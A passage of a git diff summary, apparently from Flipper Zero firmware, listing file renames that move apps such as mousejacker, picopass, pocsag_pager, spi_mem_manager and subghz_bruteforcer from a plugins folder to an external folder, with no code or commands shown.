external}/mousejacker/mousejacker.c (100%) rename applications/{plugins => external}/mousejacker/mousejacker_ducky.c (100%) rename applications/{plugins => external}/mousejacker/mousejacker_ducky.h (100%) rename applications/{plugins => external}/multi_converter/application.fam (100%) rename applications/{plugins => external}/multi_converter/converter_10px.png (100%) rename applications/{plugins => external}/multi_converter/multi_converter.c (100%) rename applications/{plugins => external}/multi_converter/multi_converter_definitions.h (100%) rename applications/{plugins => external}/multi_converter/multi_converter_mode_display.c (100%) rename applications/{plugins => external}/multi_converter/multi_converter_mode_display.h (100%) rename applications/{plugins => external}/multi_converter/multi_converter_mode_select.c (100%) rename applications/{plugins => external}/multi_converter/multi_converter_mode_select.h (100%) rename applications/{plugins => external}/multi_converter/multi_converter_units.c (100%) rename applications/{plugins => external}/multi_converter/multi_converter_units.h (100%) rename applications/{plugins => external}/multi_dice/application.fam (100%) rename applications/{plugins => external}/multi_dice/dice.c (100%) rename applications/{plugins => external}/multi_dice/dice.png (100%) rename applications/{plugins => external}/music_beeper/application.fam (100%) rename applications/{plugins => external}/music_beeper/icons/music_10px.png (100%) rename applications/{plugins => external}/music_beeper/music_10px.png (100%) rename applications/{plugins => external}/music_beeper/music_beeper.c (100%) rename applications/{plugins => external}/music_beeper/music_beeper_cli.c (100%) rename applications/{plugins => external}/music_beeper/music_beeper_worker.c (100%) rename applications/{plugins => external}/music_beeper/music_beeper_worker.h (100%) rename applications/{plugins => external}/music_player/application.fam (93%) rename applications/{plugins => external}/music_player/icons/music_10px.png (100%) rename applications/{plugins => external}/music_player/music_player.c (100%) rename applications/{plugins => external}/music_player/music_player_cli.c (100%) rename applications/{plugins => external}/music_player/music_player_worker.c (100%) rename applications/{plugins => external}/music_player/music_player_worker.h (100%) rename applications/{plugins => external}/musictracker/.github/workflows/build_dev.yml (100%) rename applications/{plugins => external}/musictracker/README.md (100%) rename applications/{plugins => external}/musictracker/application.fam (87%) rename applications/{plugins => external}/musictracker/icons/.gitignore (100%) rename applications/{plugins => external}/musictracker/tracker_engine/speaker_hal.c (100%) rename applications/{plugins => external}/musictracker/tracker_engine/speaker_hal.h (100%) rename applications/{plugins => external}/musictracker/tracker_engine/tracker.c (100%) rename applications/{plugins => external}/musictracker/tracker_engine/tracker.h (100%) rename applications/{plugins => external}/musictracker/tracker_engine/tracker_notes.h (100%) rename applications/{plugins => external}/musictracker/tracker_engine/tracker_song.h (100%) rename applications/{plugins => external}/musictracker/view/tracker_view.c (100%) rename applications/{plugins => external}/musictracker/view/tracker_view.h (100%) rename applications/{plugins => external}/musictracker/zero_tracker.c (100%) rename applications/{plugins => external}/musictracker/zero_tracker.h (100%) rename applications/{plugins => external}/musictracker/zero_tracker.png (100%) rename applications/{plugins => external}/nfc_magic/application.fam (100%) rename applications/{plugins => external}/nfc_magic/assets/DolphinCommon_56x48.png (100%) rename applications/{plugins => external}/nfc_magic/assets/DolphinNice_96x59.png (100%) rename applications/{plugins => external}/nfc_magic/assets/Loading_24.png (100%) rename applications/{plugins => external}/nfc_magic/assets/NFC_manual_60x50.png (100%) rename applications/{plugins => external}/nfc_magic/lib/magic/magic.c (100%) rename applications/{plugins => external}/nfc_magic/lib/magic/magic.h (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic.c (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic.h (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic_i.h (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic_worker.c (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic_worker.h (100%) rename applications/{plugins => external}/nfc_magic/nfc_magic_worker_i.h (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene.h (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_check.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_config.h (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_file_select.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_magic_info.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_not_magic.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_start.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_success.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_wipe.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_write.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_write_confirm.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_write_fail.c (100%) rename applications/{plugins => external}/nfc_magic/scenes/nfc_magic_scene_wrong_card.c (100%) rename applications/{plugins => external}/nightstand/application.fam (100%) rename applications/{plugins => external}/nightstand/clock.png (100%) rename applications/{plugins => external}/nightstand/clock_app.c (100%) rename applications/{plugins => external}/nightstand/clock_app.h (100%) rename applications/{plugins => external}/nrf24scan/LICENSE (100%) rename applications/{plugins => external}/nrf24scan/README.md (100%) rename applications/{plugins => external}/nrf24scan/Screenshot-1.png (100%) rename applications/{plugins => external}/nrf24scan/Screenshot-2.png (100%) rename applications/{plugins => external}/nrf24scan/Screenshot-3.png (100%) rename applications/{plugins => external}/nrf24scan/Screenshot-4.png (100%) rename applications/{plugins => external}/nrf24scan/Screenshot-5.png (100%) rename applications/{plugins => external}/nrf24scan/Screenshot-6.png (100%) rename applications/{plugins => external}/nrf24scan/Screenshot-7.png (100%) rename applications/{plugins => external}/nrf24scan/application.fam (100%) rename applications/{plugins => external}/nrf24scan/lib/nrf24/nrf24.c (100%) rename applications/{plugins => external}/nrf24scan/lib/nrf24/nrf24.h (100%) rename applications/{plugins => external}/nrf24scan/nrf24_packet_decoder.py (100%) rename applications/{plugins => external}/nrf24scan/nrf24scan.c (100%) rename applications/{plugins => external}/nrf24scan/nrf24scan.h (100%) rename applications/{plugins => external}/nrf24scan/nrf24scan_10px.png (100%) rename applications/{plugins => external}/nrfsniff/application.fam (100%) rename applications/{plugins => external}/nrfsniff/lib/nrf24/nrf24.c (100%) rename applications/{plugins => external}/nrfsniff/lib/nrf24/nrf24.h (100%) rename applications/{plugins => external}/nrfsniff/nrfsniff.c (100%) rename applications/{plugins => external}/nrfsniff/nrfsniff_10px.png (100%) rename applications/{plugins => external}/ocarina/README.md (100%) rename applications/{plugins => external}/ocarina/application.fam (100%) rename applications/{plugins => external}/ocarina/icons/music_10px.png (100%) rename applications/{plugins => external}/ocarina/ocarina.c (100%) rename applications/{plugins => external}/orgasmotron/application.fam (100%) rename applications/{plugins => external}/orgasmotron/orgasmotron.c (100%) rename applications/{plugins => external}/orgasmotron/orgasmotron_10px.png (100%) rename applications/{plugins => external}/paint/application.fam (100%) rename applications/{plugins => external}/paint/paint.c (100%) rename applications/{plugins => external}/paint/paintIcon.png (100%) rename applications/{plugins => external}/passgen/LICENSE (100%) rename applications/{plugins => external}/passgen/README.md (100%) rename applications/{plugins => external}/passgen/application.fam (85%) rename applications/{plugins => external}/passgen/icons/Horizontal_arrow_9x7.png (100%) rename applications/{plugins => external}/passgen/icons/Ok_btn_9x9.png (100%) rename applications/{plugins => external}/passgen/icons/Pin_back_arrow_10x8.png (100%) rename applications/{plugins => external}/passgen/icons/Vertical_arrow_7x9.png (100%) rename applications/{plugins => external}/passgen/icons/passgen_icon.png (100%) rename applications/{plugins => external}/passgen/images/preview.png (100%) rename applications/{plugins => external}/passgen/passgen.c (100%) rename applications/{plugins => external}/picopass/125_10px.png (100%) rename applications/{plugins => external}/picopass/application.fam (100%) rename applications/{plugins => external}/picopass/helpers/iclass_elite_dict.c (100%) rename applications/{plugins => external}/picopass/helpers/iclass_elite_dict.h (100%) rename applications/{plugins => external}/picopass/icons/DolphinMafia_115x62.png (100%) rename applications/{plugins => external}/picopass/icons/DolphinNice_96x59.png (100%) rename applications/{plugins => external}/picopass/icons/Nfc_10px.png (100%) rename applications/{plugins => external}/picopass/icons/RFIDDolphinReceive_97x61.png (100%) rename applications/{plugins => external}/picopass/icons/RFIDDolphinSend_97x61.png (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_cipher.c (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_cipher.h (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_cipherutils.c (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_cipherutils.h (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_elite.c (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_elite.h (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_ikeys.c (100%) rename applications/{plugins => external}/picopass/lib/loclass/optimized_ikeys.h (100%) rename applications/{plugins => external}/picopass/picopass.c (100%) rename applications/{plugins => external}/picopass/picopass.h (100%) rename applications/{plugins => external}/picopass/picopass_device.c (100%) rename applications/{plugins => external}/picopass/picopass_device.h (100%) rename applications/{plugins => external}/picopass/picopass_i.h (100%) rename applications/{plugins => external}/picopass/picopass_keys.c (100%) rename applications/{plugins => external}/picopass/picopass_keys.h (100%) rename applications/{plugins => external}/picopass/picopass_worker.c (100%) rename applications/{plugins => external}/picopass/picopass_worker.h (100%) rename applications/{plugins => external}/picopass/picopass_worker_i.h (100%) rename applications/{plugins => external}/picopass/rfal_picopass.c (100%) rename applications/{plugins => external}/picopass/rfal_picopass.h (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene.h (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_card_menu.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_config.h (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_delete.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_delete_success.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_device_info.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_file_select.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_key_menu.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_read_card.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_read_card_success.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_read_factory_success.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_save_name.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_save_success.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_saved_menu.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_start.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_write_card.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_write_card_success.c (100%) rename applications/{plugins => external}/picopass/scenes/picopass_scene_write_key.c (100%) rename applications/{plugins => external}/pocsag_pager/application.fam (88%) rename applications/{plugins => external}/pocsag_pager/helpers/pocsag_pager_event.h (100%) rename applications/{plugins => external}/pocsag_pager/helpers/pocsag_pager_types.h (100%) rename applications/{plugins => external}/pocsag_pager/images/Lock_7x8.png (100%) rename applications/{plugins => external}/pocsag_pager/images/Message_8x7.png (100%) rename applications/{plugins => external}/pocsag_pager/images/Pin_back_arrow_10x8.png (100%) rename applications/{plugins => external}/pocsag_pager/images/Quest_7x8.png (100%) rename applications/{plugins => external}/pocsag_pager/images/Scanning_123x52.png (100%) rename applications/{plugins => external}/pocsag_pager/images/Unlock_7x8.png (100%) rename applications/{plugins => external}/pocsag_pager/images/WarningDolphin_45x42.png (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_10px.png (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_app.c (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_app_i.c (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_app_i.h (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_history.c (100%) rename applications/{plugins => external}/pocsag_pager/pocsag_pager_history.h (100%) rename applications/{plugins => external}/pocsag_pager/protocols/pcsg_generic.c (100%) rename applications/{plugins => external}/pocsag_pager/protocols/pcsg_generic.h (100%) rename applications/{plugins => external}/pocsag_pager/protocols/pocsag.c (100%) rename applications/{plugins => external}/pocsag_pager/protocols/pocsag.h (100%) rename applications/{plugins => external}/pocsag_pager/protocols/protocol_items.c (100%) rename applications/{plugins => external}/pocsag_pager/protocols/protocol_items.h (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_receiver.c (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene.c (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene.h (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene_about.c (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene_config.h (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene_receiver_config.c (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene_receiver_info.c (100%) rename applications/{plugins => external}/pocsag_pager/scenes/pocsag_pager_scene_start.c (100%) rename applications/{plugins => external}/pocsag_pager/views/pocsag_pager_receiver.c (100%) rename applications/{plugins => external}/pocsag_pager/views/pocsag_pager_receiver.h (100%) rename applications/{plugins => external}/pocsag_pager/views/pocsag_pager_receiver_info.c (100%) rename applications/{plugins => external}/pocsag_pager/views/pocsag_pager_receiver_info.h (100%) rename applications/{plugins => external}/pomodoro/application.fam (100%) rename applications/{plugins => external}/pomodoro/flipp_pomodoro_10.png (100%) rename applications/{plugins => external}/pomodoro/flipp_pomodoro_app.c (100%) rename applications/{plugins => external}/pomodoro/flipp_pomodoro_app.h (100%) rename applications/{plugins => external}/pomodoro/flipp_pomodoro_app_i.h (100%) rename applications/{plugins => external}/pomodoro/helpers/debug.h (100%) rename applications/{plugins => external}/pomodoro/helpers/notifications.c (100%) rename applications/{plugins => external}/pomodoro/helpers/notifications.h (100%) rename applications/{plugins => external}/pomodoro/helpers/time.c (100%) rename applications/{plugins => external}/pomodoro/helpers/time.h (100%) rename applications/{plugins => external}/pomodoro/images/flipp_pomodoro_focus_64/frame_00.png (100%) rename applications/{plugins => external}/pomodoro/images/flipp_pomodoro_focus_64/frame_01.png (100%) rename applications/{plugins => external}/pomodoro/images/flipp_pomodoro_focus_64/frame_rate (100%) rename applications/{plugins => external}/pomodoro/images/flipp_pomodoro_rest_64/frame_00.png (100%) rename applications/{plugins => external}/pomodoro/images/flipp_pomodoro_rest_64/frame_01.png (100%) rename applications/{plugins => external}/pomodoro/images/flipp_pomodoro_rest_64/frame_rate (100%) rename applications/{plugins => external}/pomodoro/modules/flipp_pomodoro.c (100%) rename applications/{plugins => external}/pomodoro/modules/flipp_pomodoro.h (100%) rename applications/{plugins => external}/pomodoro/scenes/.keep (100%) rename applications/{plugins => external}/pomodoro/scenes/config/flipp_pomodoro_scene_config.h (100%) rename applications/{plugins => external}/pomodoro/scenes/flipp_pomodoro_scene.c (100%) rename applications/{plugins => external}/pomodoro/scenes/flipp_pomodoro_scene.h (100%) rename applications/{plugins => external}/pomodoro/scenes/flipp_pomodoro_scene_timer.c (100%) rename applications/{plugins => external}/pomodoro/views/.keep (100%) rename applications/{plugins => external}/pomodoro/views/flipp_pomodoro_timer_view.c (100%) rename applications/{plugins => external}/pomodoro/views/flipp_pomodoro_timer_view.h (100%) rename applications/{plugins => external}/pong/application.fam (100%) rename applications/{plugins => external}/pong/flipper_pong.c (100%) rename applications/{plugins => external}/pong/pong.png (100%) rename applications/{plugins => external}/protoview/LICENSE (100%) rename applications/{plugins => external}/protoview/README.md (100%) rename applications/{plugins => external}/protoview/app.c (100%) rename applications/{plugins => external}/protoview/app.h (100%) rename applications/{plugins => external}/protoview/app_subghz.c (100%) rename applications/{plugins => external}/protoview/appicon.png (100%) rename applications/{plugins => external}/protoview/application.fam (100%) rename applications/{plugins => external}/protoview/crc.c (100%) rename applications/{plugins => external}/protoview/custom_presets.h (100%) rename applications/{plugins => external}/protoview/fields.c (100%) rename applications/{plugins => external}/protoview/images/ProtoViewSignal.jpg (100%) rename applications/{plugins => external}/protoview/images/protoview_1.jpg (100%) rename applications/{plugins => external}/protoview/images/protoview_2.jpg (100%) rename applications/{plugins => external}/protoview/protocols/b4b1.c (100%) rename applications/{plugins => external}/protoview/protocols/keeloq.c (100%) rename applications/{plugins => external}/protoview/protocols/oregon2.c (100%) rename applications/{plugins => external}/protoview/protocols/pvchat.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/citroen.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/ford.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/renault.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/schrader.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/schrader_eg53ma4.c (100%) rename applications/{plugins => external}/protoview/protocols/tpms/toyota.c (100%) rename applications/{plugins => external}/protoview/protocols/unknown.c (100%) rename applications/{plugins => external}/protoview/raw_samples.c (100%) rename applications/{plugins => external}/protoview/raw_samples.h (100%) rename applications/{plugins => external}/protoview/signal.c (100%) rename applications/{plugins => external}/protoview/signal_file.c (100%) rename applications/{plugins => external}/protoview/ui.c (100%) rename applications/{plugins => external}/protoview/view_build.c (100%) rename applications/{plugins => external}/protoview/view_direct_sampling.c (100%) rename applications/{plugins => external}/protoview/view_info.c (100%) rename applications/{plugins => external}/protoview/view_raw_signal.c (100%) rename applications/{plugins => external}/protoview/view_settings.c (100%) rename applications/{plugins => external}/qrcode/application.fam (100%) rename applications/{plugins => external}/qrcode/icons/qrcode_10px.png (100%) rename applications/{plugins => external}/qrcode/qrcode.c (100%) rename applications/{plugins => external}/qrcode/qrcode.h (100%) rename applications/{plugins => external}/qrcode/qrcode_app.c (100%) rename applications/{plugins => external}/rc2014_coleco/LICENSE (100%) rename applications/{plugins => external}/rc2014_coleco/README.md (100%) rename applications/{plugins => external}/rc2014_coleco/application.fam (100%) rename applications/{plugins => external}/rc2014_coleco/coleco.c (100%) rename applications/{plugins => external}/rc2014_coleco/coleco_10px.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco0_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco0_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco1_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco1_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco2_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco2_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco3_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco3_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco4_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco4_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco5_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco5_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco6_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco6_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco7_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco7_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco8_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco8_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco9_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/Coleco9_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoAlt_18x9.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoAlt_hvr_18x9.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoFire_18x9.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoFire_hvr_18x9.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoFire_sel_18x9.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoJoystick_33x33.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoJoystick_hvr_33x33.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoJoystick_sel_33x33.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoPound_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoPound_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoStar_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/icons/ColecoStar_hvr_17x17.png (100%) rename applications/{plugins => external}/rc2014_coleco/interface/flipper-coleco.brd (100%) rename applications/{plugins => external}/rc2014_coleco/interface/flipper-coleco.sch (100%) rename applications/{plugins => external}/rc2014_coleco/ui.png (100%) rename applications/{plugins => external}/rubiks_cube_scrambler/LICENSE (100%) rename applications/{plugins => external}/rubiks_cube_scrambler/README.md (100%) rename applications/{plugins => external}/rubiks_cube_scrambler/application.fam (100%) rename applications/{plugins => external}/rubiks_cube_scrambler/cube.png (100%) rename applications/{plugins => external}/rubiks_cube_scrambler/rubiks_cube_scrambler.c (100%) rename applications/{plugins => external}/rubiks_cube_scrambler/scrambler.c (100%) rename applications/{plugins => external}/rubiks_cube_scrambler/scrambler.h (100%) rename applications/{plugins => external}/sam/application.fam (96%) rename applications/{plugins => external}/sam/icons/music_10px.png (100%) rename applications/{plugins => external}/sam/music_10px.png (100%) rename applications/{plugins => external}/sam/sam_app.cpp (100%) rename applications/{plugins => external}/sam/stm32_sam.cpp (100%) rename applications/{plugins => external}/sam/stm32_sam.h (100%) rename applications/{plugins => external}/sentry_safe/application.fam (100%) rename applications/{plugins => external}/sentry_safe/safe_10px.png (100%) rename applications/{plugins => external}/sentry_safe/sentry_safe.c (100%) rename applications/{plugins => external}/signal_generator/application.fam (88%) rename applications/{plugins => external}/signal_generator/icons/SmallArrowDown_3x5.png (100%) rename applications/{plugins => external}/signal_generator/icons/SmallArrowUp_3x5.png (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene.c (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene.h (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene_config.h (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene_mco.c (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene_pwm.c (100%) rename applications/{plugins => external}/signal_generator/scenes/signal_gen_scene_start.c (100%) rename applications/{plugins => external}/signal_generator/signal_gen_10px.png (100%) rename applications/{plugins => external}/signal_generator/signal_gen_app.c (100%) rename applications/{plugins => external}/signal_generator/signal_gen_app_i.h (100%) rename applications/{plugins => external}/signal_generator/views/signal_gen_pwm.c (100%) rename applications/{plugins => external}/signal_generator/views/signal_gen_pwm.h (100%) rename applications/{plugins => external}/snake_game/application.fam (86%) rename applications/{plugins => external}/snake_game/snake_10px.png (100%) rename applications/{plugins => external}/snake_game/snake_game.c (100%) rename applications/{plugins => external}/solitaire/application.fam (100%) rename applications/{plugins => external}/solitaire/assets/card_graphics.png (100%) rename applications/{plugins => external}/solitaire/assets/solitaire_main.png (100%) rename applications/{plugins => external}/solitaire/common/card.c (100%) rename applications/{plugins => external}/solitaire/common/card.h (100%) rename applications/{plugins => external}/solitaire/common/dml.c (100%) rename applications/{plugins => external}/solitaire/common/dml.h (100%) rename applications/{plugins => external}/solitaire/common/menu.c (100%) rename applications/{plugins => external}/solitaire/common/menu.h (100%) rename applications/{plugins => external}/solitaire/common/queue.c (100%) rename applications/{plugins => external}/solitaire/common/queue.h (100%) rename applications/{plugins => external}/solitaire/common/ui.c (100%) rename applications/{plugins => external}/solitaire/common/ui.h (100%) rename applications/{plugins => external}/solitaire/defines.h (100%) rename applications/{plugins => external}/solitaire/solitaire.c (100%) rename applications/{plugins => external}/solitaire/solitaire_10px.png (100%) rename applications/{plugins => external}/spectrum_analyzer/application.fam (100%) rename applications/{plugins => external}/spectrum_analyzer/spectrum_10px.png (100%) rename applications/{plugins => external}/spectrum_analyzer/spectrum_analyzer.c (100%) rename applications/{plugins => external}/spectrum_analyzer/spectrum_analyzer.h (100%) rename applications/{plugins => external}/spectrum_analyzer/spectrum_analyzer_worker.c (100%) rename applications/{plugins => external}/spectrum_analyzer/spectrum_analyzer_worker.h (100%) rename applications/{plugins => external}/spi_mem_manager/application.fam (100%) rename applications/{plugins => external}/spi_mem_manager/images/ChipLooking_64x64/frame_01.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/ChipLooking_64x64/frame_02.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/ChipLooking_64x64/frame_03.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/ChipLooking_64x64/frame_rate (100%) rename applications/{plugins => external}/spi_mem_manager/images/Dip8_10px.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/Dip8_32x36.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/DolphinMafia_115x62.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/DolphinNice_96x59.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/SDQuestion_35x43.png (100%) rename applications/{plugins => external}/spi_mem_manager/images/Wiring_SPI_128x64.png (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_chip.c (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_chip.h (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_chip_arr.c (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_chip_i.h (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_tools.c (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_tools.h (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_worker.c (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_worker.h (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_worker_i.h (100%) rename applications/{plugins => external}/spi_mem_manager/lib/spi/spi_mem_worker_modes.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene.h (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_about.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_chip_error.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_config.h (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_erase.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_file_info.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_read.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_read_filename.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_select_file.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_select_model.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_start.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_storage_error.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_success.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_verify.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_verify_error.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_wiring.c (100%) rename applications/{plugins => external}/spi_mem_manager/scenes/spi_mem_scene_write.c (100%) rename applications/{plugins => external}/spi_mem_manager/spi_mem_app.c (100%) rename applications/{plugins => external}/spi_mem_manager/spi_mem_app.h (100%) rename applications/{plugins => external}/spi_mem_manager/spi_mem_app_i.h (100%) rename applications/{plugins => external}/spi_mem_manager/spi_mem_files.c (100%) rename applications/{plugins => external}/spi_mem_manager/spi_mem_files.h (100%) rename applications/{plugins => external}/spi_mem_manager/tools/README.md (100%) rename applications/{plugins => external}/spi_mem_manager/tools/chiplist/LICENSE (100%) rename applications/{plugins => external}/spi_mem_manager/tools/chiplist/chiplist.xml (100%) rename applications/{plugins => external}/spi_mem_manager/tools/chiplist_convert.py (100%) rename applications/{plugins => external}/spi_mem_manager/views/spi_mem_view_detect.c (100%) rename applications/{plugins => external}/spi_mem_manager/views/spi_mem_view_detect.h (100%) rename applications/{plugins => external}/spi_mem_manager/views/spi_mem_view_progress.c (100%) rename applications/{plugins => external}/spi_mem_manager/views/spi_mem_view_progress.h (100%) rename applications/{plugins => external}/subghz_bruteforcer/LICENSE (100%) rename applications/{plugins => external}/subghz_bruteforcer/application.fam (100%) rename applications/{plugins => external}/subghz_bruteforcer/helpers/gui_top_buttons.c (100%) rename applications/{plugins => 